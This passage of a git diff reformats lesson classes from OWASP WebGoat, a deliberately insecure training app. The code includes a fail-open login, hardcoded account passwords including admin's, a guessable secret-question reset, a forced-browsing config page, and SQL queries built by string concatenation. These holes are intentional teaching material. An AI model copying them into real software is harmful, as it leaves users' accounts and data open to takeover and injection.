are + // empty. + if (username.length() != 0) + { + s.setMessage("Invalid username and password entered."); + } - return (makeLogin(s)); + return (makeLogin(s)); - } + } - // otherwise authentication is good, show the content - if ((username != null) && (username.length() > 0)) { return (makeUser(s, username, - "Parameters. You did not exploit the fail open.")); } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } + // otherwise authentication is good, show the content + if ((username != null) && (username.length() > 0)) { return (makeUser(s, username, + "Parameters. You did not exploit the fail open.")); } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } - return (makeLogin(s)); - } + return (makeLogin(s)); + } - /** - * Gets the category attribute of the FailOpenAuthentication object - * - * @return The category value - */ - public Category getDefaultCategory() - { - return Category.ERROR_HANDLING; - } + /** + * Gets the category attribute of the FailOpenAuthentication object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.ERROR_HANDLING; + } - /** - * Gets the hints attribute of the AuthenticateScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("You can force errors during the authentication process."); - hints.add("You can change length, existance, or values of authentication parameters."); - hints - .add("Try removing a parameter ENTIRELY with OWASP ZAP."); + /** + * Gets the hints attribute of the AuthenticateScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("You can force errors during the authentication process."); + hints.add("You can change length, existance, or values of authentication parameters."); + hints + .add("Try removing a parameter ENTIRELY with OWASP ZAP."); - return hints; - } + return hints; + } - /** - * Gets the instructions attribute of the FailOpenAuthentication object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate " - + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without " - + "specifying a password."; - } + /** + * Gets the instructions attribute of the FailOpenAuthentication object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate " + + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without " + + "specifying a password."; + } - private final static Integer DEFAULT_RANKING = new Integer(20); + private final static Integer DEFAULT_RANKING = new Integer(20); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the AuthenticateScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Fail Open Authentication Scheme"); - } + /** + * Gets the title attribute of the AuthenticateScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Fail Open Authentication Scheme"); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/ForcedBrowsing.java b/src/main/java/org/owasp/webgoat/lessons/ForcedBrowsing.java index bc259e582..ee05d1aa5 100644 --- a/src/main/java/org/owasp/webgoat/lessons/ForcedBrowsing.java +++ b/src/main/java/org/owasp/webgoat/lessons/ForcedBrowsing.java @@ -51,100 +51,100 @@ import org.owasp.webgoat.session.WebSession; public class ForcedBrowsing extends LessonAdapter { - private final static String SUCCEEDED = "succeeded"; + private final static String SUCCEEDED = "succeeded"; - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String success = new String(s.getParser().getStringParameter(SUCCEEDED, "")); + public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String success = new String(s.getParser().getStringParameter(SUCCEEDED, "")); - if (success.length() != 0 && success.equals("yes")) - { - ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page"))); - ec.addElement(new BR()); - Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); + if (success.length() != 0 && success.equals("yes")) + { + ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page"))); + ec.addElement(new BR()); + Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); - TR tr = new TR(); - tr.addElement(new TD(new StringElement("Set Admin Privileges for: "))); + TR tr = new TR(); + tr.addElement(new TD(new StringElement("Set Admin Privileges for: "))); - Input input1 = new Input(Input.TEXT, "", ""); - tr.addElement(new TD(input1)); - t1.addElement(tr); + Input input1 = new Input(Input.TEXT, "", ""); + tr.addElement(new TD(input1)); + t1.addElement(tr); - tr = new TR(); - tr.addElement(new TD(new StringElement("Set Admin Password:"))); + tr = new TR(); + tr.addElement(new TD(new StringElement("Set Admin Password:"))); - input1 = new Input(Input.PASSWORD, "", ""); - tr.addElement(new TD(input1)); - t1.addElement(tr); + input1 = new Input(Input.PASSWORD, "", ""); + tr.addElement(new TD(input1)); + t1.addElement(tr); - Element b = ECSFactory.makeButton("Submit"); - t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right"))); - ec.addElement(t1); + Element b = ECSFactory.makeButton("Submit"); + t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right"))); + ec.addElement(t1); - makeSuccess(s); - } - else - { - ec - .addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel."); - } - return ec; - } + makeSuccess(s); + } + else + { + ec + .addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel."); + } + return ec; + } - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.INSECURE_CONFIGURATION; - } + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.INSECURE_CONFIGURATION; + } - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Try to guess the URL for the config page"); - hints.add("The config page is guessable and hackable"); - hints.add("Play with the URL and try to guess what you can replace 'attack' with."); - hints.add("Try to navigate to http://localhost/WebGoat/conf"); - return hints; - } + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Try to guess the URL for the config page"); + hints.add("The config page is guessable and hackable"); + hints.add("Play with the URL and try to guess what you can replace 'attack' with."); + hints.add("Try to navigate to http://localhost/WebGoat/conf"); + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(15); + private final static Integer DEFAULT_RANKING = new Integer(15); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Forced Browsing"); - } + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Forced Browsing"); + } - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/ForgotPassword.java b/src/main/java/org/owasp/webgoat/lessons/ForgotPassword.java index fb7836e20..358a501e6 100644 --- a/src/main/java/org/owasp/webgoat/lessons/ForgotPassword.java +++ b/src/main/java/org/owasp/webgoat/lessons/ForgotPassword.java @@ -54,282 +54,282 @@ import org.owasp.webgoat.session.WebSession; public class ForgotPassword extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - private final static String USERNAME = "Username"; + private final static String USERNAME = "Username"; - private static String USERNAME_RESPONSE = ""; + private static String USERNAME_RESPONSE = ""; - private final static String COLOR = "Color"; + private final static String COLOR = "Color"; - private static String COLOR_RESPONSE = ""; + private static String COLOR_RESPONSE = ""; - private static int STAGE = 1; + private static int STAGE = 1; - private final static HashMap USERS = new HashMap(); + private final static HashMap USERS = new HashMap(); - private final static HashMap COLORS = new HashMap(); + private final static HashMap COLORS = new HashMap(); - private void populateTables() - { - USERS.put("admin", "2275$starBo0rn3"); - USERS.put("jeff", "(_I_)illia(V)s"); - USERS.put("dave", "\\V/ich3r$"); - USERS.put("intern", "H3yn0w"); - USERS.put("webgoat", "webgoat"); + private void populateTables() + { + USERS.put("admin", "2275$starBo0rn3"); + USERS.put("jeff", "(_I_)illia(V)s"); + USERS.put("dave", "\\V/ich3r$"); + USERS.put("intern", "H3yn0w"); + USERS.put("webgoat", "webgoat"); - COLORS.put("admin", "green"); - COLORS.put("jeff", "orange"); - COLORS.put("dave", "purple"); - COLORS.put("intern", "yellow"); - COLORS.put("webgoat", "red"); - } + COLORS.put("admin", "green"); + COLORS.put("jeff", "orange"); + COLORS.put("dave", "purple"); + COLORS.put("intern", "yellow"); + COLORS.put("webgoat", "red"); + } - protected Element doStage1(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected Element doStage1(WebSession s) + { + ElementContainer ec = new ElementContainer(); - ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery "))); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery "))); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TH() - .addElement("Please input your username. See the OWASP admin if you do not have an account.") - .setColSpan(2).setAlign("left")); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TH() + .addElement("Please input your username. See the OWASP admin if you do not have an account.") + .setColSpan(2).setAlign("left")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); - TR row1 = new TR(); - row1.addElement(new TD(new B(new StringElement("*User Name: ")))); + TR row1 = new TR(); + row1.addElement(new TD(new B(new StringElement("*User Name: ")))); - Input input1 = new Input(Input.TEXT, USERNAME, ""); - row1.addElement(new TD(input1)); - t.addElement(row1); + Input input1 = new Input(Input.TEXT, USERNAME, ""); + row1.addElement(new TD(input1)); + t.addElement(row1); - Element b = ECSFactory.makeButton("Submit"); - t.addElement(new TR(new TD(b))); - ec.addElement(t); + Element b = ECSFactory.makeButton("Submit"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); - return (ec); - } + return (ec); + } - protected Element doStage2(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected Element doStage2(WebSession s) + { + ElementContainer ec = new ElementContainer(); - ec.addElement(new H1().addElement("Webgoat Password Recovery ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + ec.addElement(new H1().addElement("Webgoat Password Recovery ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2) - .setAlign("left")); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2) + .setAlign("left")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); - TR row1 = new TR(); - row1.addElement(new TD(new B(new StringElement("*Answer: ")))); + TR row1 = new TR(); + row1.addElement(new TD(new B(new StringElement("*Answer: ")))); - Input input1 = new Input(Input.TEXT, COLOR, ""); - row1.addElement(new TD(input1)); - t.addElement(row1); + Input input1 = new Input(Input.TEXT, COLOR, ""); + row1.addElement(new TD(input1)); + t.addElement(row1); - Element b = ECSFactory.makeButton("Submit"); - t.addElement(new TR(new TD(b))); - ec.addElement(t); + Element b = ECSFactory.makeButton("Submit"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); - return (ec); - } + return (ec); + } - protected Element doStage3(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected Element doStage3(WebSession s) + { + ElementContainer ec = new ElementContainer(); - ec.addElement(new H1().addElement("Webgoat Password Recovery ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + ec.addElement(new H1().addElement("Webgoat Password Recovery ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TH().addElement("For security reasons, please change your password immediately.") - .setColSpan(2).setAlign("left")); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TH().addElement("For security reasons, please change your password immediately.") + .setColSpan(2).setAlign("left")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))) - .setAlign("left")); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))) + .setAlign("left")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE))); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE))); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE))); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE))); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString()))); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString()))); + t.addElement(tr); - ec.addElement(t); + ec.addElement(t); - if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green")) - { - makeSuccess(s); - } - else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE)) - { - s.setMessage("Close. Now try to get the password of a privileged account."); - } - return ec; - } + if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green")) + { + makeSuccess(s); + } + else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE)) + { + s.setMessage("Close. Now try to get the password of a privileged account."); + } + return ec; + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String username = ""; - String color = ""; + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String username = ""; + String color = ""; - color = s.getParser().getStringParameter(COLOR, ""); + color = s.getParser().getStringParameter(COLOR, ""); - if (color.length() > 0) - STAGE = 2; - else - STAGE = 1; + if (color.length() > 0) + STAGE = 2; + else + STAGE = 1; - if (USERS.size() == 0) - { - populateTables(); - } + if (USERS.size() == 0) + { + populateTables(); + } - if (STAGE == 2) - { - color = s.getParser().getStringParameter(COLOR, ""); + if (STAGE == 2) + { + color = s.getParser().getStringParameter(COLOR, ""); - if (COLORS.get(USERNAME_RESPONSE).equals(color)) - { - STAGE = 1; - COLOR_RESPONSE = color; - ec.addElement(doStage3(s)); - } - else - { - s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!"); - ec.addElement(doStage2(s)); - } - } - else if (STAGE == 1) - { - username = s.getParser().getStringParameter(USERNAME, ""); + if (COLORS.get(USERNAME_RESPONSE).equals(color)) + { + STAGE = 1; + COLOR_RESPONSE = color; + ec.addElement(doStage3(s)); + } + else + { + s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!"); + ec.addElement(doStage2(s)); + } + } + else if (STAGE == 1) + { + username = s.getParser().getStringParameter(USERNAME, ""); - if (USERS.containsKey(username)) - { - STAGE = 2; - USERNAME_RESPONSE = username; - ec.addElement(doStage2(s)); - } - else - { - if (username.length() > 0) - { - s.setMessage("Not a valid username. Please try again."); - } - ec.addElement(doStage1(s)); - } - } - else - { - ec.addElement(doStage1(s)); - STAGE = 1; - } + if (USERS.containsKey(username)) + { + STAGE = 2; + USERNAME_RESPONSE = username; + ec.addElement(doStage2(s)); + } + else + { + if (username.length() > 0) + { + s.setMessage("Not a valid username. Please try again."); + } + ec.addElement(doStage1(s)); + } + } + else + { + ec.addElement(doStage1(s)); + STAGE = 1; + } - return ec; - } + return ec; + } - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { - return Category.AUTHENTICATION; - } + return Category.AUTHENTICATION; + } - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); - hints.add("There is no lock out policy in place, brute force your way!"); - hints.add("Try using usernames you might encounter throughout WebGoat."); - hints.add("There are only so many possible colors, can you guess one?"); - hints.add("The administrative account is \"admin\""); + hints.add("There is no lock out policy in place, brute force your way!"); + hints.add("Try using usernames you might encounter throughout WebGoat."); + hints.add("There are only so many possible colors, can you guess one?"); + hints.add("The administrative account is \"admin\""); - return hints; - } + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(15); + private final static Integer DEFAULT_RANKING = new Integer(15); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Forgot Password"); - } + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Forgot Password"); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java index b007701e2..d0df80232 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java @@ -42,289 +42,289 @@ import org.owasp.webgoat.session.WebSession; */ public abstract class DefaultLessonAction implements LessonAction { - // FIXME: We could parse this class name to get defaults for these fields. - private String lessonName; - private String actionName; + // FIXME: We could parse this class name to get defaults for these fields. + private String lessonName; + private String actionName; - private GoatHillsFinancial lesson; + private GoatHillsFinancial lesson; - public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName) - { - this.lesson = lesson; - this.lessonName = lessonName; - this.actionName = actionName; - } + public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName) + { + this.lesson = lesson; + this.lessonName = lessonName; + this.actionName = actionName; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + getLesson().setCurrentAction(s, getActionName()); - if (isAuthenticated(s)) - { - } - else - throw new UnauthenticatedException(); - } + if (isAuthenticated(s)) + { + } + else + throw new UnauthenticatedException(); + } - public abstract String getNextPage(WebSession s); + public abstract String getNextPage(WebSession s); - public GoatHillsFinancial getLesson() - { - return lesson; - } + public GoatHillsFinancial getLesson() + { + return lesson; + } - public String getLessonName() - { - return lessonName; - } + public String getLessonName() + { + return lessonName; + } - public String getActionName() - { - return actionName; - } + public String getActionName() + { + return actionName; + } - public void setSessionAttribute(WebSession s, String name, Object value) - { - s.getRequest().getSession().setAttribute(name, value); - } + public void setSessionAttribute(WebSession s, String name, Object value) + { + s.getRequest().getSession().setAttribute(name, value); + } - public void setRequestAttribute(WebSession s, String name, Object value) - { - s.getRequest().setAttribute(name, value); - } + public void setRequestAttribute(WebSession s, String name, Object value) + { + s.getRequest().setAttribute(name, value); + } - public void removeSessionAttribute(WebSession s, String name) - { - s.getRequest().getSession().removeAttribute(name); - } + public void removeSessionAttribute(WebSession s, String name) + { + s.getRequest().getSession().removeAttribute(name); + } - protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException - { - String value = (String) s.getRequest().getSession().getAttribute(name); - if (value == null) { throw new ParameterNotFoundException(); } + protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException + { + String value = (String) s.getRequest().getSession().getAttribute(name); + if (value == null) { throw new ParameterNotFoundException(); } - return value; - } + return value; + } - protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException - { - boolean value = false; + protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException + { + boolean value = false; - Object attribute = s.getRequest().getSession().getAttribute(name); - if (attribute == null) - { - throw new ParameterNotFoundException(); - } - else - { - // System.out.println("Attribute " + name + " is of type " + - // s.getRequest().getSession().getAttribute(name).getClass().getName()); - // System.out.println("Attribute value: " + - // s.getRequest().getSession().getAttribute(name)); - value = ((Boolean) attribute).booleanValue(); - } - return value; - } + Object attribute = s.getRequest().getSession().getAttribute(name); + if (attribute == null) + { + throw new ParameterNotFoundException(); + } + else + { + // System.out.println("Attribute " + name + " is of type " + + // s.getRequest().getSession().getAttribute(name).getClass().getName()); + // System.out.println("Attribute value: " + + // s.getRequest().getSession().getAttribute(name)); + value = ((Boolean) attribute).booleanValue(); + } + return value; + } - protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException - { - int value = -1; - String ss = (String) s.getRequest().getSession().getAttribute(name); - if (ss == null) - { - throw new ParameterNotFoundException(); - } - else - { - try - { - value = Integer.parseInt(ss); - } catch (NumberFormatException nfe) - { - } - } + protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException + { + int value = -1; + String ss = (String) s.getRequest().getSession().getAttribute(name); + if (ss == null) + { + throw new ParameterNotFoundException(); + } + else + { + try + { + value = Integer.parseInt(ss); + } catch (NumberFormatException nfe) + { + } + } - return value; - } + return value; + } - protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException - { - String value = (String) s.getRequest().getAttribute(name); - if (value == null) { throw new ParameterNotFoundException(); } + protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException + { + String value = (String) s.getRequest().getAttribute(name); + if (value == null) { throw new ParameterNotFoundException(); } - return value; - } + return value; + } - protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException - { - int value = -1; - String ss = (String) s.getRequest().getAttribute(name); - if (ss == null) - { - throw new ParameterNotFoundException(); - } - else - { - try - { - value = Integer.parseInt(ss); - } catch (NumberFormatException nfe) - { - } - } + protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException + { + int value = -1; + String ss = (String) s.getRequest().getAttribute(name); + if (ss == null) + { + throw new ParameterNotFoundException(); + } + else + { + try + { + value = Integer.parseInt(ss); + } catch (NumberFormatException nfe) + { + } + } - return value; - } + return value; + } - public int getUserId(WebSession s) throws ParameterNotFoundException - { - return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); - } + public int getUserId(WebSession s) throws ParameterNotFoundException + { + return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); + } - public String getUserName(WebSession s) throws ParameterNotFoundException - { - String name = null; + public String getUserName(WebSession s) throws ParameterNotFoundException + { + String name = null; - int employeeId = getUserId(s); - try - { - String query = "SELECT first_name FROM employee WHERE userid = " + employeeId; + int employeeId = getUserId(s); + try + { + String query = "SELECT first_name FROM employee WHERE userid = " + employeeId; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.next()) name = answer_results.getString("first_name"); - } catch (SQLException sqle) - { - s.setMessage("Error getting user name"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting user name"); - e.printStackTrace(); - } + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.next()) name = answer_results.getString("first_name"); + } catch (SQLException sqle) + { + s.setMessage("Error getting user name"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting user name"); + e.printStackTrace(); + } - return name; - } + return name; + } - public boolean requiresAuthentication() - { - // Default to true - return true; - } + public boolean requiresAuthentication() + { + // Default to true + return true; + } - public boolean isAuthenticated(WebSession s) - { - boolean authenticated = false; + public boolean isAuthenticated(WebSession s) + { + boolean authenticated = false; - try - { - authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated"); - } catch (ParameterNotFoundException e) - { - } + try + { + authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated"); + } catch (ParameterNotFoundException e) + { + } - return authenticated; - } + return authenticated; + } - public boolean isAuthorized(WebSession s, int employeeId, String functionId) - { - String employer_id = (String) s.getRequest().getSession() - .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID); - // System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + - // " having USER_ID = " - // + employer_id ); - boolean authorized = false; + public boolean isAuthorized(WebSession s, int employeeId, String functionId) + { + String employer_id = (String) s.getRequest().getSession() + .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID); + // System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + + // " having USER_ID = " + // + employer_id ); + boolean authorized = false; - try - { - String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " - + employeeId + ") and functionid = '" + functionId + "'"; + try + { + String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " + + employeeId + ") and functionid = '" + functionId + "'"; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - authorized = answer_results.first(); + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + authorized = answer_results.first(); - /* - * User is validated for function, but can the user perform that function on the - * specified user? - */ - if (authorized) - { - authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId); - } - } catch (SQLException sqle) - { - s.setMessage("Error authorizing"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error authorizing"); - e.printStackTrace(); - } + /* + * User is validated for function, but can the user perform that function on the + * specified user? + */ + if (authorized) + { + authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId); + } + } catch (SQLException sqle) + { + s.setMessage("Error authorizing"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error authorizing"); + e.printStackTrace(); + } - // System.out.println("Authorized? " + authorized); - return authorized; - } + // System.out.println("Authorized? " + authorized); + return authorized; + } - public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId) - { - // System.out.println("Authorizing " + userId + " for access to employee: " + employeeId); - boolean authorized = false; + public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId) + { + // System.out.println("Authorizing " + userId + " for access to employee: " + employeeId); + boolean authorized = false; - try - { - String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?"; + try + { + String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?"; - try - { + try + { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setInt(1, userId); - answer_statement.setInt(2, employeeId); - ResultSet answer_results = answer_statement.executeQuery(); - authorized = answer_results.first(); - } catch (SQLException sqle) - { - s.setMessage("Error authorizing"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error authorizing"); - e.printStackTrace(); - } + PreparedStatement answer_statement = 